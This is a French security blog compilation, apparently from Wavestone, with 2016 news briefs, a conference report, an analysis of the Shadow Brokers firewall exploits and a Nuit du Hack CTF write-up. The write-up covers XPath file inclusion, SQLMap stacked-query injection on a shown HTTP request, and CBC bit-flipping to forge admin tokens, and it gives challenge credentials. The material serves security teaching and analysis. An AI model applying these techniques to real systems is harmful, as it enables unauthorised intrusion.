Une APT du nom de ProjectSauron utilisée depuis 2011 vise à espionner les agences gouvernementales de plusieurs pays. Cette APT se base sur plusieurs zero-day qui démontrent du niveau technique de ses auteurs.
Sources :
https://threatpost.com/projectsauron-apt-on-par-with-equation-flame-duqu/119725/
http://securityaffairs.co/wordpress/50119/intelligence/projectsauron-apt-stride.html

[Brève] Une faille découverte dans la bibliothèque PDF de Windows
Une vulnérabilité dans la bibliothèque PDF intégrée à Microsoft Edge pourrait permettre de l’exécution de code à distance chez ses utilisateurs.
Sources :
https://threatpost.com/windows-pdf-library-flaw-puts-edge-users-at-risk-for-rce/119773/
http://krebsonsecurity.com/?p=35784

[Brève] Des terminaux de paiement d’Oracle victimes d’une attaque
Oracle alerte les utilisateurs de ses terminaux de paiement qu’un programme malveillant a été trouvé dans ses systèmes MICROS. Le malware créé par le "Carbanak gang" aurait pour but de récupérer les mots de passe des utilisateurs.
Sources :
https://threatpost.com/breach-forces-password-change-on-oracle-micros-pos-customers/119754/
http://securityaffairs.co/wordpress/50131/breaking-news/oracle-micros-payment-hack.html

[Brève] Le support de Linux par Windows 10 pourrait faciliter sa compromission
Source : https://threatpost.com/windows-10-attack-surface-grows-with-linux-support-in-anniversary-update/119778/

[Brève] Le système de paiement NFC de Samsung vulnérable
Source : http://www.theregister.co.uk/2016/08/10/samsung_denies_claims_hackers_broke_nfc/

[Brève] Une attaque sur votre écran pourrait permettre de modifier ce que vous voyez
Des chercheurs ont démontré lors de la dernière DEFCON qu’il est possible de modifier l’affichage d’un écran en compromettant son firmware.
Source : http://securityaffairs.co/wordpress/50102/hacking/hackers-computer-monitor.html

[Brève] Une équipe de chercheurs développe un système automatique permettant de référencer le Darkweb
Source : http://securityaffairs.co/wordpress/50144/deep-web/dark-web-zero-days.html

[Brève] Le bug bounty d’Apple en détail
La révélation de son bug bounty par Apple montre les priorités de l’entreprise américaine en terme de sécurité.
Source : https://threatpost.com/putting-apple-bug-bounty-rewards-in-perspective/119794/

[Brève] Une vulnérabilité dans le noyau Linux
Un défaut critique de structure dans le noyau Linux pourrait permettre à un attaquant la compromission des équipements utilisant la distribution.
Source : http://securityaffairs.co/wordpress/50191/hacking/linux-flaw-traffic-hijacking.html

[Brève] Une monnaie pour récompenser les Dénis de Service
Un étrange projet lancé par des étudiants de l’université du Michigan a pour objectif de proposer un moyen de prouver son implication dans une attaque DDoS. Une monnaie appelée DDoSCoin est alors générée et pourrait être échangée contre des Bitcoin et Ethereum.
Source : http://www.theregister.co.uk/2016/08/12/ddoscoin_cryptocurrency/

Nicolas DAUBRESSE

Nuit du Hack 2016 - Write-up du challenge Intrinsec


Wavestone était présent à la 14ème édition de la Nuit du Hack, qui s’est déroulé une fois de plus au New York Hotel, Disneyland. Outre le wargame (public) et le Capture the Flag (privé), de nombreux stands, dont Wavestone et Intrinsec, ont proposé des challenges ouverts à tous.
L’article ci-dessous détaille comment nous sommes venus à bout de l’un des challenges proposés par Intrinsec.
Ce dernier était constitué de quatre étapes, mais des imprévus techniques ont forcé ses auteurs à passer sous silence la première étape (cf. @Intrinsec).

Lien vers les épreuves : https://securite.intrinsec.com/2016/07/02/challenges-intrinsec-nuit-du-hack-2016/
Challengers :@Iansus& @Sopetajo

2ème étape : Don’t feed the troll

La seconde étape du challenge était disponible à l’adresse suivante : https://isec:bl0gs3cu@isc-ndh-rss.appspot.com
L’interface web nous indique que le flag de cette étape se situe dans le fichier flag.xml, et présente un outil dont le but est le suivant :
  • Récupérer le flux RSS du blog Intrinsec
  • Filtrer les attributs des articles selon la sélection de l’utilisateur

Une analyse rapide montre que les champs du flux RSS sont filtrés en fonction de l’attribut POST attr, présent sous forme de tableau :


Les différentes valeurs proposées par l’interface web correspondent à certains des attributs des éléments du flux RSS, présenté sous le format XML :


Nous avons alors tenté de rajouter d’autres champs afin d’évaluer le degré de liberté fourni par l’outil. L’attribut « dc:creator » a provoqué l’erreur suivante :


Cette erreur nous indique que l’outil récupère le contenu du XML associé au flux RSS, parcourt les différents éléments « item » à l’aide d’une transformation XLST puis affiche les valeurs sélectionnées par l’utilisateur à l’aide d’expressions XPath. 
Le fichier contenant le flag de validation étant au format XML, nous avons directement essayé d’inclure ce dernier à l’aide de la directive XPath document(), ce qui a fourni le résultat suivant :


3ème étape : Black, with two sugars

L’URL obtenue à l’étape précédente pointe vers la troisième partie du challenge : https://ndh2k16:qMrcTvzx17OGRc5g@185.135.159.124 et présente le message suivant « Welcome ».

Nous avons tout d’abord essayé d’analyser la surface d’attaque exposée par le serveur, à l’aide de l’outil NMap :

Malheureusement, ce scan ne nous a pas apporté d’informations, puisque le port 2222 était utilisé pour la gestion du serveur (SSH), et les ports 4000 et suivants pour répartir la charge supportée par le serveur.
En nous réorientant sur l’interface HTTP exposée, nous avons alors découvert la présence du fichier robots.txt à la racine :

Grâce à ces informations, nous avons pu récupérer le fichier README.html :

Il semblerait donc que le serveur corresponde à une machine à café connectée (comme l’indique l’entête HTTP « Server : GEMINI | CS 220 PRO »). En suivant les indications du readme, nous observons le comportement suivant :


Seule la dernière requête possédant un paramètre variable, nous avons décidé d’utiliser l’outil SQLMap sur la requête suivante à la recherche d’une éventuelle injection SQL :

POST https://185.135.159.124:443 HTTP/1.1
Host: 185.135.159.124:4004
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.4.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: pot=true; water=true; brew=true;
Authorization: Basic bmRoMmsxNjpxTXJjVHZ6eDE3T0dSYzVn
Connection: close
Cache-Control: max-age=0
Content-Length: 10

quantity=1

SQLMap a indiqué que le serveur était vulnérable aux injections du type « Stacked queries », ce qui nous a permis de récupérer le flag depuis la base de données :


4ème étape : AES mess

La dernière étape du challenge, disponible à l’adresse https://isec:b0urr4g3@isc-ndh-token.appspot.com, se présente sous la forme d’un formulaire d’inscription. Lors de la saisie d’un nom d’utilisateur, le message d’erreur suivant apparaît :


Avec l’aide de Burp, nous avons pu identifier deux requêtes envoyées vers le serveur. La première requête, envoyée en POST, permet de récupérer un token et un vecteur d’initialisation pour le nom d’utilisateur fourni :


La seconde requête, envoyée en GET sur l’URI /status, ajoute les entêtes HTTP « Token » et « IV », contenant les paramètres précédemment retournés par le serveur. La réponse du serveur est le message d’erreur affiché sur l’interface web :


En envoyant une valeur du vecteur d’initialisation égale à « 00000000000000000000000000000000 », nous remarquons que le serveur renvoie une nouvelle erreur, indiquant que seul le premier bloc de ce qui semble être du JSON a été impacté :


Ce bloc JSON possède l’attribut « adm » fixé à la valeur « false », expliquant le message d’erreur renvoyé par le serveur. D’autre part, le type d’impact qu’a eu la modification du vecteur d’initialisation permet d’identifier de manière sûre le mode d’opération CBC.

Etant donné la structure de chaînage suivante, nous allons être en mesure de construire de toute pièce, et ce sans connaître la clé, un message JSON contenant la valeur « adm » à « true » :


En effet, en opérant depuis la fin du message, il est possible de modifier l’avant dernier bloc du texte chiffré pour obtenir n’importe quelle valeur pour le dernier bloc du texte chiffré. Cela aura bien entendu un impact sur l’avant dernier bloc du texte en clair, que nous pourrons corriger à l’aide du bloc chiffré précédent, etc. Enfin, la valeur du premier bloc du texte en clair sera corrigée à l’aide du vecteur d’initialisation.

Le format du message en clair est connu (grâce au message d’erreur), puisque la taille des blocs de l’AES est connue et est de 16 octets :


Nous pouvons en déduire avec quelle valeur nous devons réaliser l’opération XOR sur l’avant dernier texte du message chiffré pour obtenir la valeur « adm » à « true » :

En envoyant le bloc chiffré #2 modifié, nous obtenons l’erreur suivante :


Le message d’erreur nous permet également d’évaluer l’impact sur le bloc de texte clair #2 :


Nous allons pouvoir corriger ce bloc de la même manière en utilisant le bloc chiffré #1, ce qui produit désormais une erreur sur le bloc de texte clair #1 :


En appliquant une dernière fois les modifications sur le vecteur d’initialisation (considéré comme le bloc chiffré #0), nous obtenons le message suivant :


N.B. : Le flag mentionne les « padding oracles », qui sont une autre méthode de résolution de cette dernière étape. La méthode que nous avons utilisée repose sur le fait que nous connaissions l’impact de la modification des blocs chiffrés sur les blocs en clair. Les « padding oracles » font abstraction de ce message et ne reposent que sur la présentation d’un message d’erreur en lien avec un padding PKCS#1.5 incorrect.
Jean MARSAULT

CERT-Solucom : retour sur l'actualité de la semaine du 15 au 19 août


Comme chaque semaine, retrouvez notre revue d'actualité de la sphère cyber-sécurité. Cette compilation de brèves vous permettra d'alimenter les discussions des prochaines pauses cafés !

[Brève] Shadow Brokers, les hackers de la NSA
Un groupe de hackers nommé Shadow Brokers affirme avoir réussi à récupérer les exploits présents sur un serveur de la NSA qu’ils auraient compromis.
Estimés à une valeur de 500 millions de dollars, ils ont prouvé la validité de certains d’entre eux, notamment EXTRABACON et EPICBANANAS, deux exploits ciblant les appliances Cisco.
Sources :
http://arstechnica.com/security/2016/08/group-claims-to-hack-nsa-tied-hackers-posts-exploits-as-proof/
https://blogs.cisco.com/security/shadow-brokers


[Brève] #OpGhoul, nouvelle opération à grande échelle ciblant plus de 30 pays
Détectée par Kaspersky, Ghoul est une nouvelle campagne d’attaque, ciblant plus de 130 entreprises des secteurs de l’industrie, de la production et de l’ingénierie et particulièrement active au Moyen-Orient.
Les malwares sont distribués par spear-phishing et récoltent a minima les informations sensibles des postes qu’ils infectent.
Sources :
https://securelist.com/blog/research/75718/operation-ghoul-targeted-attacks-on-industrial-and-engineering-organizations/


[Brève] PowerShell open-source et disponible pour Linux et Mac
Peu après l’introduction de Bash sous Windows, Microsoft rend open-source PowerShell, offrant alors une possibilité d’utilisation sous d’autres systèmes que Windows.
Sources :
https://azure.microsoft.com/en-us/blog/powershell-is-open-sourced-and-is-available-on-linux/
https://github.com/PowerShell/PowerShell


[Brève] Une nouvelle version de RowHammer permet de cibler les VM Linux hypervisées
Sous le nom de RowHammer sont regroupées les attaques de type bit-flip permettant de modifier le contenu de données en mémoire par répétition d’opération triviales (ex : assignation d’une valeur à une variable).
Les dernières avancées dans le domaine ont été présentées à la conférence USENIX et permettent à un attaquant possédant une VM gérée par un hyperviseur d’attaquer les autres VM gérées par cet hyperviseur.
Sources :
https://www.schneier.com/blog/archives/2016/08/powerful_bit-fl.html
http://news.softpedia.com/news/new-ffs-rowhammer-attack-targets-linux-vm-setups-507290.shtml
https://www.usenix.org/system/files/conference/usenixsecurity16/sec16_paper_razavi.pdf


[Brève] FalseCONNECT, la vulnérabilité qui cible les proxy
Encore une attaque sur SSL/TLS ? Oui, mais pour une fois, ce dernier n’est pas ciblé directement.
Il s’agit d’une attaque sur l’implémentation par certaines outils de l’authentification sur les proxy et de la gestion des codes d’erreur HTTP/407.
Sources :
http://falseconnect.com/
https://news.slashdot.org/story/16/08/16/0322244/falseconnect-vulnerability-affects-software-from-apple-microsoft-oracle-more


[Brève] Windows : Yet another UAC bypass
Les attaques sur le contrôle de compte d’utilisateur (UAC) sont monnaie courante, puisque ce dernier se présente comme l’ultime barrière lors de la compromission d’un compte administrateur.
Ce dernier contournement possède la particularité de ne pas se servir du système de fichiers, l’attaquant gagnant par conséquent en furtivité.
Sources :
https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
https://threatpost.com/latest-windows-uac-bypass-permits-code-execution/119887/


[Brève] Firefox et Chrome vulnérables à une attaque sur la barre d’adresse du navigateur
Le chercheur Rafay Baloch a présenté à la Black Hat Asia une attaquant ciblant la barre d’adresse des navigateurs Chrome et Firefox.
En utilisant des caractères Unicode permettant de contrôler le sens de lecture d’un texte, un attaquant peut leurrer un utilisateur en lui faisant croire qu’il navigue sur un site différent du site sur lequel il se trouve.
Sources :
https://threatpost.com/browser-address-bar-spoofing-vulnerability-disclosed/119951/


[Brève] Spooky action at a (space) distance : un PoC par la Chine
Baptisée « Spooky action at a distance » par Einstein, l’intrication quantique est le phénomène au cœur de l’informatique quantique.
Le 15 août, la Chine a placé en orbite avec succès QUESS, le premier satellite dédié à l’étude de ce phénomène et son impact en cryptographie, lors de communications entre le satellite et le centre de contrôle.
Sources :
http://english.cas.cn/newsroom/news/201608/t20160816_166485.shtml
https://techcrunch.com/2016/08/16/china-launches-the-first-quantum-communications-satellite-and-what-is-that-exactly/


[Brève] Hausse importante dans le nombre d’infections des hôpitaux par Locky au Japon et aux US
Le ransomware Locky, toujours actif, continue à faire des ravages dans le milieu médical.
Un pic d’activité a été atteint en août au Japon et aux US, Locky totalisant désormais 69% des pièce jointes malveillantes dans les emails.
Sources :
http://www.theregister.co.uk/2016/08/18/fireeye_warns_massive_ransomware_campaign_hits_us_japan_hospitals/

Jean MARSAULT

Compte-rendu des Bsides Las Vegas 2016


La conférence de sécurité BSides Las Vegas se tenait cette année les 2 et 3 août, en même temps que la BlackHat et juste avant la DEFCON, dans le centre de conférence de l’hôtel-casino Tuscany. 

Un contenu très varié était présenté, sous forme de formation et de présentations, réparties dans plusieurs “tracks” :
  • Breaking ground : conférences sur les sujets novateurs.
  • Common ground : pour l’ensemble des sujets habituellement présentés lors de ce type d'événement.
  • Ground truth : dédié aux avancées mathématiques et scientifiques applicables à la sécurité informatique.
  • Underground : conférences non enregistrées, pour lesquels les participants ne sont pas autorisés à avoir d’équipement électronique dans la salle.
  • Proving ground : dédié aux intervenants débutants, dont la présentation a été réalisée sous la supervision d’un mentor expérimenté, et d’une durée de 20 minutes.
  • Passwords : dédié à l’ensemble des sujets portant sur les mots de passe, l’authentification, etc. Il s’agissait les années précédentes d’une conférence à part entière, qui fait désormais partie des BSidesLV.
  • I am the Cavalry : une piste dédiée au projet I am the cavalry qui promeut la sécurité dans l’ensemble des domaines IT qui peuvent avoir un impact sur la vie humaine (automobile, équipements médicaux, infrastructures publiques, etc.).
Voici un bref compte-rendu des conférences auxquelles nous avons assisté :

Data Science or Data Pseudo-Science? Applying Data Science Concepts to Infosec without a PhD

Lors de cette intervention, Ken Westin a introduit les concepts basiques de la data science et leur application à la sécurité informatique.
On retiendra notamment la différence entre la machine learning supervisé (travail à partir de données labellisées) et non-supervisé (consistant à découvrir des inférences), ainsi que les différentes étapes de l’application de machine learning :
  1. Supervision
  2. Regression
  3. Classification
  4. Anomaly detection
L’intervenant a également recommandé la bibliothèque Python scikit-learn (http://scikit-learn.org), qui permet de s’initier facilement au machine learning.

Automation of Penetration Testing and the future

Haydn Johnson présentait lors de cette intervention son point de vue sur l’évolution des tests d’intrusion. Selon lui, une très nette tendance à la baisse des coûts, et par conséquent de la qualité de ces prestations se faisait sentir.
Le recours aux tests d’intrusion devenait plus fréquent certes, mais se traduisait souvent par un simple scan de vulnérabilité, n’utilisant que des outils automatisés. Haydn en déduisait une difficulté pour les prestataires à maintenir des compétences pointues dans le domaine, ainsi que des talents. Il appelait donc à une prise de conscience sur le sujet, et à bien faire une différence entre un tests d’intrusion et un scan de vulnérabilités.

Cette analyse, bien que trop simpliste, est néanmoins valide sur le flou qui peut exister sur les prestations délivrées en tant que “tests d’intrusion”. Ce compte-rendu n’est pas le lieu idéal pour une longue digression sur le sujet, mais il semble important de soulever les points suivants : 
  • Quelle est l’influence de la réglementation et des exigences de conformité sur la multiplication des tests d’intrusion ?
  • N’existe-t-il pas un niveau de maturité minimal pour que la réalisation de tests d’intrusion ait un réel intérêt pour l’entreprise ?
  • Comment devons-noius agir en tant que prestataires pour valoriser la réalisation de véritables tests d’intrusion ?
  • Le ratio d’investissement entre la réalisation de tests d’intrusion et l’application des recommandations n’est-il pas souvent mal proportionné ?

Cruise Line Security Assessment OR Hacking the High Seas

Cette intervention présentait les constats relatifs à la sécurité des croisières, par un habitué de ce genre de vacances. L’intervention a commencé par quelques “tuyaux” permettant d’obtenir des cadeaux lors d’une croisières, comme le fait de déclarer qu’il s’agit d’un anniversaire ou d’un anniversaire de mariage. La conférence continuait sur le niveau de sécurité des réseaux WiFi et les possibilités d’y accéder gratuitement, du fait de mécanismes d’authentification faibles. Il est également possible d’obtenir des avantages réservés aux clients fidèles, en déclarant des voyages fictifs sur le site de la compagnie de croisière, les informations n’étant pas vérifiées.
La dernière partie de la conférence était dédiée à l’exposition sur Internet des paquebots de croisière. En effet, de simples recherches d’informations publiques (OSINT) ont permis à Chad M. Dewey, l’intervenant, d’identifier une plage IP réservée au Maritime Telecommunication Network (https://en.wikipedia.org/wiki/Maritime_Telecommunications_Network). Il a alors pu identifier, en utilisant le moteur de recherche Shodan, les bâtiments exposés sur Internet : 



Les services exposés sur Internet comprennent des services d’administration à distance : 


Cependant, aucune information concernant quels type d’équipements étaient concernés (télécommunication, vidéo, automatismes des bateaux) n’a pu être obtenue.

Six degrees of domain admin (bloodhound)


Cette année encore, l’équipe APD (Adaptive threat Division) du Veris Group remporte la palme de la présentation la plus intéressante des Bsides. Après la présentation d’Empire Powershell l’an dernier, trois membres de l’équipe présentaient cette année un nouvel outil, Blood Hound.
BloodHound est un outil d’audit / d’attaque de l’Active Directory. A l’aide de théorie des grapghes, il permet d’identifier les possibilités d’élévation de privilèges dans un environnement Active Directory. Cet outil possède une approche similaire à AD-Control-Path, outil publié il y a deux ans par l’ANSSI.
Cet outil va dans un premier temps récupérer des informations dans l’annuaire Active Directory, comme l’ensemble des groupes, les utilisateurs membres de ces groupes, etc.
Dans un second temps, il va créer une liste de relations entre les utilisateurs, les groupes les machines. Enfin, la dernière étape consiste à identifier les chemins les plus courts permettant de passer d’un compte standard à un compte privilégié, voire administrateur du domaine.
On peut ainsi obtenir le graphique suivant, montrant les chemins possibles d’élévation de privilèges :



Building an Empyre with Python

C’est à nouveau l’équipe APD de Veris à qui l’on doit cette conférence. Basé sur le travail réalisé pour le framework de post-exploitation Empire PowerShell, Will Schroeder et ses collègues se sont attelés à la création d’une version Python de cet outil, permettant de cibler les machines Linux ou Mac.
Plusieurs vecteurs d’infection initiaux sont disponibles : 
Macros Office, fonctionnelles jusqu’à la version 2011, les suivantes étant exécutées dans un bac à sable
Possibilité d’insérer une porte dérobée dans un fichier exécutable standard (mach-o)
Exploitation de vulnérabilités dans l’ordre de traitement des bibliothèques (dylib)

De même, de nombreuses fonctionnalités de post-exploitation, dont des fonctions spécifiques aux machines membres d’un domaine Windows sont déjà disponibles.


Wavestone

Wavestone intervenait également lors de cette conférence, par la présentation :
  • Du projet DYODE, initialement présenté lors de la conférence SSTIC, et qui fera l’objet d’un article détaillé
  • D’un atelier introductif à la sécurité des SI Industriels


Certaines vidéos sont disponibles sur la chaîne Youtube de la conférence : https://www.youtube.com/channel/UCpNGmljppAJbTIA5Msms1Pw/videos

Arnaud SOULLIE

7 exploits pour pare-feu publiés par les Shadow Brokers, le 5ème va vous impressionner


Apparu sur les réseaux sociaux le 13 août 2013, un collectif nommé « The Shadow Brokers » a publié un tweet contenant un lien vers une page Pastebin contenant un message écrit dans un anglais plus qu’approximatif :

Equation Group Cyber Weapons Auction - Invitation
- -----------------------------------------------
!!! Attention government sponsors of cyber warfare and those who profit from it !!!!
How much you pay for enemies cyber weapons? Not malware you find in networks. Both sides, RAT + LP, full state sponsor tool set? We find cyber weapons made by creators of stuxnet, duqu, flame. Kaspersky calls Equation Group. We follow Equation Group traffic. We find Equation Group source range. We hack Equation Group. We find many many Equation Group cyber weapons. You see pictures. We give you some Equation Group files free, you see. This is good proof no? You enjoy!!! You break many things. You find many intrusions. You write many words. But not all, we are auction the best files. .

« Equation group », nom auquel ce message fait référence, est l’un des groupes de hackers les plus sophistiqués encore actif aujourd’hui, leur découverte ayant été annoncée en février 2015 par l’éditeur d’antivirus Kaspersky. De nombreux indices, fiables ou non, laissent à penser que ce groupe est fortement lié au service « Tailored Access Operations » de la NSA, en charge de la surveillance et du renseignement autour des systèmes informatiques. Les outils soi-disant dérobés par les Shadow Brokers proviendraient alors peut-être de la NSA, aucune preuve ne permettant pour l’instant d’aboutir à cette conclusion.

En pièce jointe de ce message se trouve une archive contenant 7 documents, parmi lesquels une archive chiffrée avec le mot de passe « theequationgroup ». Une fois décompressée, celle-ci donne accès à un ensemble de scripts, exécutables et outils dont l’usage sera décrit dans le reste de l’article. Les autres archives présentes sont chiffrées et mises aux enchères par les Shadow Brokers pour un montant de B1.000.000, soit environ $500.000.000.

En attendant la complétion de la cagnotte, des chercheurs en sécurité se sont intéressés aux fichiers publiés dans l’archive publique. Ces derniers ciblent en priorité les équipements de type pare-feu, VPN SSL, etc produits par les sociétés Cisco, Fortinet, Juniper Networks, TOPSEC et WatchGuard. Ils sont répartis en plusieurs catégories :
  • Exploits : script permettant d’exploiter une vulnérabilité connue ou une faille 0-day ;
  • Implants :outil post-exploitation déposé en mémoire ou dans le firmware ;
  • Modules : script venant complémenter un exploit ou un implant ;
  • Tools :boîte à outils facilitant l’exploitation des cibles.
Choses surprenante, les noms des outils correspondent aux noms dévoilés dans la fuite du catalogue ANT de la NSA, publié en 2013 dans Der Spiegel. Nous ne rentrerons dans le détail que des outils les plus importants, la liste complète des fichiers étant disponible sur Softpedia.

Exploit – ELIGIBLE* (TOPSEC)

Sous cette dénomination se trouvent quatre exploits dirigés contre les pare-feu TOS (TOPSEC). Cependant, peu de détails sont fournis quant aux vulnérabilités exactes qui sont exploitées. La liste complète de ces exploits est fournie ci-dessous :

ELIGIBLEBACHELOR

  • Vecteur d’attaque : inconnu (probablement dans l’entête XML TOS)
  • Versions affectées : 3.2.100.010, 3.3.001.050, 3.3.002.021 et 3.3.002.030

ELIGIBLEBOMBSHELL

  • Vecteur d’attaque : exécution de code via un cookie HTTP
  • Versions affectées : de 3.2.100.010.1_pbc_17_iv_3 à 3.3.005.066.1

ELIGIBLECANDIDATE

  • Vecteur d’attaque : exécution de code via un cookie HTTP
  • Versions affectées : de 3.3.005.057.1 à 3.3.010.024.1

ELIGIBLECONTESTANT

  • Vecteur d’attaque : exécution de code via un paramètre POST
  • Versions affectées : de 3.3.005.057.1 à 3.3.010.024.1

Le schéma complet des dépendances de ces exploits est le suivant :



Exploit – EGREGIOUSBLUNDER (Fortinet)

EGREGIOUSBLUNDER exploite une vulnérabilité de type « exécution de code à distance » dans les pare-feu Fortigate (Fortinet), via un dépassement de tampon dans les cookies HTTP. Aucun détail supplémentaire n’est pour l’instant fourni sur cet exploit en dehors des points suivants :

  • Les modèles impactés comprennent : 60, 60M, 80C, 200A, 300A, 400A, 500A, 620B, 800, 5000, 1000A, 3600 et 3600A ;
  • EGREGIOUSBLUNDER peut se servir de l’implant BLATSTING (également utilisé par ELIGIBLEBACHELOR, TOPSEC) dont le rôle n’est pas connu.

Exploit – EPICBANANA (Cisco)

L’exploit EPICBANANA repose sur une vulnérabilité corrigée en 2011 par Cisco et affecte les équipements ASA. Elle permet à un attaquant authentifié sur le système (Telnet ou SSH) de causer un déni de service de l’équipement, voire potentiellement d’exécuter du code arbitraire (non prouvé à ce jour).
La criticité de cette vulnérabilité avait été classée à « moyenne » par Cisco lors de la découverte initiale en raison des prérequis nécessaires à son exploitation.

Exploit – EXTRABACON (Cisco)

EXTRABACON est un exploit ciblant une vulnérabilité de type « dépassement de tampon » dans la gestion du protocole SNMP des équipements Cisco ASA. La vulnérabilité est disponible sous le code CVE-2016-6366.
L’exploit se présente sous la forme d’un script Python prenant en paramètre :
  • Le nom de la communauté SNMP utilisée par l’équipement ;
  • Le mode d’opération :
    • « pass-disable » : désactive l’authentification sur l’équipement ;
    • « pass-enable » : réactive l’authentification sur l’équipement.
L’attaquant doit cependant disposer du nom de la communauté SNMP, ainsi que lancer le script depuis une adresse IP autorisée par la commande « snmp-server ».
Bien que l’exploit ne semble pas très stable et puisse faire crasher l’équipement cible, certains (dont l’internaute XORCat) ont montré que ce dernier était fiable :


Un patch pour cette vulnérabilité a été publié par Cisco le 24 août 2016.

Exploit – BENIGNCERTAIN (Cisco)

L’exploit BENIGNCERTAIN cible les équipements Cisco PIX, aujourd’hui qualifiés en fin de vie (EoL) et fin de support (EoS), et permet à un attaquant, entre autres, de récupérer les clés privées présentes sur l’équipement ainsi que les mots de passe qui s’y trouveraient.
Plusieurs internautes (dont Mustafa Al-Bassam, à l’origine de l’analyse de l’archive publique, et @int10h) ont confirmé que l’exploit était fonctionnel et lui ont donné le nom de PixPocket :

Les équipes de Cisco n’ont toujours pas identifié la vulnérabilité utilisée par cet exploit, qui reste à ce jour une faille 0-day.
L’exploit se présente sous la forme de plusieurs fichiers exécutables accompagnés d’une collection de charges malveillantes :

L’attaquant utilise tout d’abord le fichier « bc-genpkt» qui génère un paquet malveillant de type IKE (Internet Key Exchange), protocole utilisé lors de la mise en place de tunnels IPSec. Ce paquet est ensuite fourni en entrée au fichier « bc-id » qui envoie le paquet à destination de la cible de l’attaque et fourni un dump. Ce dernier doit enfin être analysé à l’aide de « bc-parser» pour récupérer les informations sensibles :


Exploit – ESCALATEPLOWMAN (WatchGuard)

L’exploit ESCALATEPLOWMAN est un script Python, destiné à exploiter une vulnérabilité de type « injection de commandes » sur les systèmes vendus par RapidStream, une société rachetée par WatchGuard en 2002.

La cible de l’exploit est la ligne de commande de debug, spécifique au système cible, qui peut être exploitée dans sa gestion de la commande « ifconfig ». Cette dernière permet alors à un attaquant de récupérer et d’exécuter un fichier depuis Internet.

L’éditeur WatchGuard a tenu à préciser que seuls les équipements RapidStream, de par la localisation des exécutables sur le disque d’une part, et des commandes proposées par la ligne de commande d’autre part, sont vulnérables à cette attaque.

Implants – BANANAGLEE / ZESTYLEAK (Cisco, Juniper)

Encore une fois, assez peu d’informations sont disponibles sur les implants BANANAGLEE et ZESTYLEAK, si ce n’est que :
  • BANANAGLEE semble être spécifique à Cisco et ZESTYLEAK à Juniper NetScreen ;
  • BANANAGLEE et ZESTYLEAK sont des implants en mémoire et ne persistent pas après un redémarrage ;
  • Les outils JETPLOW, SCREAMINGPLOW et FEEDTHROUGH peuvent être utilisés pour écrire les implants cités ci-dessus dans le firmware des équipements afin de les rendre persistants.

Un graphe complet des dépendances de ces deux implants est disponible ci-dessous :

Ce qu’il faut retenir

Ce n’est malheureusement pas la première fois que des exploits publics permettent de prendre le contrôle d’appliances réseau. Dans le cas présent, il n’existe pour certaines de ces vulnérabilités aucun correctif de sécurité, et les pare-feu sont parfois le seul rempart protégeant des équipements vulénrables.

On peut se rassurer par le fait que la plupart de ces exploits nécessitent pour être fonctionnels un accès réseau à des interfaces de supervision ou d’administration. Les bonnes pratiques de sécurité s’appliquent encore, à savoir : tenir les équipements vulnérables à jour, durcir la configuration des composants (dans ce cas, celle du SNMP) et évidemment l’utiliser d’un réseau dédié à l’administration des équipements.

Jean MARSAULT

CERT-Wavestone : retour sur l'actualité de la semaine du 26 septembre au 2 octobre


Comme chaque semaine, retrouvez notre revue d'actualité de la sphère cyber-sécurité. Cette compilation de brèves vous permettra d'alimenter les discussions des prochaines pauses cafés !

[Brève] Les plus grandes attaques DDOS de l’histoire avec un botnet de 1,5 million de caméra
Mardi 20 septembre, KrebsOnSecurity.com, le site web indépendant du journaliste Brian Krebs, a été la cible d’une attaque DDOS d’envergure. 1,5 millions de caméras ont été piratées dans l’optique de créer un vaste réseau de botnets : Jamais Internet n’avait connu une attaque utilisant autant d’équipements connectés. Le trafic reçu lors de l’attaque a dépassé 600 Gbps. Le 29 septembre, c’est au tour de l’hébergeur OVH de se faire attaquer à l’aide des mêmes techniques. Le volume du trafic reçu a cette fois dépassé les 1 Tbps, ce qui en fait l’une des plus importantes attaques DDOS enregistrées dans l'histoire en termes de volume.
Sources :

[Brève] Zerodium propose 1,5 million de dollars pour un jailbreak à distance de l’iOS 10
Spécialisé dans l’achat et la vente d’exploits zero-day, Zerodium propose d’offrir un million et demi de dollars pour le premier à lui délivrer une faille zero-day exploitable dans la dernière version du système mobile d’Apple. Il faut dire que le phénomène de la chasse aux failles de sécurité ou “bugs bounties” prend de plus en plus de l’ampleur. Certains éditeurs comme Apple, Google etc. essaient de se battre mais les sommes proposées restent encore en dessous de ce que propose les entreprises comme Zerodium.
Sources :

[Brève] Princesse Locker : Le Ransomware qui parle plusieurs langues
Le ransomware en lui-même ne possède aucune innovation sur les fonctionnalités de base, cependant il propose un écran de sélection de langage suivi d’une page listant les options de chiffrement et un déchiffrement gratuit d’un fichier. La rançon de base est de 3 bitcoins et peut doubler au fur et à mesure du temps si le paiement n’est pas effectué.
Sources :

[Brève] La fuite massive de données de Yahoo! toucherait plus de 500 millions de comptes
En 2014 Yahoo! était victime d’une importante attaque aboutissant à un vol massif de ses données utilisateurs dont : Les noms, adresses e-mail, numéros de téléphone, dates de naissance, mots de passe hachés (la grande majorité avec bcrypt) et, dans certains cas, les questions et réponses de sécurité chiffrées ou non. Des informations provenant de plus de 500 millions de comptes ont été considérées comme volées par les attaquants.
Source :

[Brève] Plusieurs distributions linux affectées par un bug critique dans systemd
Une simple commande dans un appel de pause du système permettrait de suspendre le processus ayant l’ID 1, le processus de l’espace utilisateur le plus important. Impossible alors de démarrer ou arrêter les daemons ou de redémarrer proprement le système. Un accès root n’est pas nécessaire pour exploiter cette faille dont la criticité fait débat parmi les experts.
Sources :

[Brève] Le code source du botnet IoT “Mirai” révélé
Il y a quelques semaines, une large attaque DDOS avait été menée contre KrebsOnSecurity à travers un réseau de 1,5 millions de botnets constitué d’objets connectés, particulièrement les caméras. L’attaque, qui a beaucoup interpellé le monde de la cybersécurité, montre qu’Internet sera probablement la cible de plusieurs attaques de ce type perpétrées par des caméras IP, des routeurs non sécurisés, ainsi que tout matériel qui peut être facilement compromis. Le code source du malware a été rendu public et a ainsi révélé sa capacité d’exploration d’Internet à la recherche d’appareils IoT protégés avec des mots de passe par défaut ou facilement cassable.
Source :

[Brève] Cisco met en garde sur une faille critique dans ses appareils de sécurisation des emails
